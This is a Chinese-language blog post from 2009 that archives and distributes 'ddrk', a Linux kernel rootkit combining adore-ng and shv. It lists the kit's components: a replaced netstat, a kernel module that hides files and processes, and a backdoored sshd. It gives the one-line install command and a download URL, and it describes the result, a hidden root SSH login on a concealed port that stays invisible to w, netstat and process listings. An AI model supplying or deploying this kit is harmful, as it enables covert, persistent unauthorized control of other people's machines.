Linux下rootkit-ddrk

    [多云 September 28, 2009 10:08 | by !4p47hy ]
PS:在 7J 那看到的,存档以作备用。
ddrk(DoDo's Rootkit)是一个Linux结合shv和adore-ng优点的,内核级rootkit
文件列表
netstat        #替换系统的netstat,从ssh配置文件中读取端口,并隐藏
rk.ko        #adore-ng编译后的内核模块,实现文件,进程隐藏功能
setup        #rootkit安装主文件
tty        #adore-ng带的ava工具
bin.tgz
---ttymon
---sshd.tgz
        ---sshd        #sshd主程序
        ---shdcf2        #sshd配置文件      

使用方法
#./setup password port

如果不设置用户名和端口,那么setup会利用文件里默认的用户名和密码安装
安装以后,使用ssh客户端远程连上此端口,使用用户名root,密码为设置的密码。
登录后效果

Highslide JS


隐藏效果
使用W看当前登录用户,只有本地用户

Highslide JS


查看SSHD进程ttyload

Highslide JS


查看端口,无预设的43958

Highslide JS


查看rootkit相关文件,UID,GID都一样,已经隐藏好

Highslide JS


本地下载
Download ( 1980 downloads)


远程地址下载
http://www.sectop.com/soft/ddrk.tgz
Tools | Comments(2) | Trackbacks(0) | Reads(28302)
slip
April 6, 2011 18:45
内核环境不同,则无法使用。
slip
April 6, 2011 18:41
环境不同。 原作者说过的。
Pages: 1/1 First page 1 Final page
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive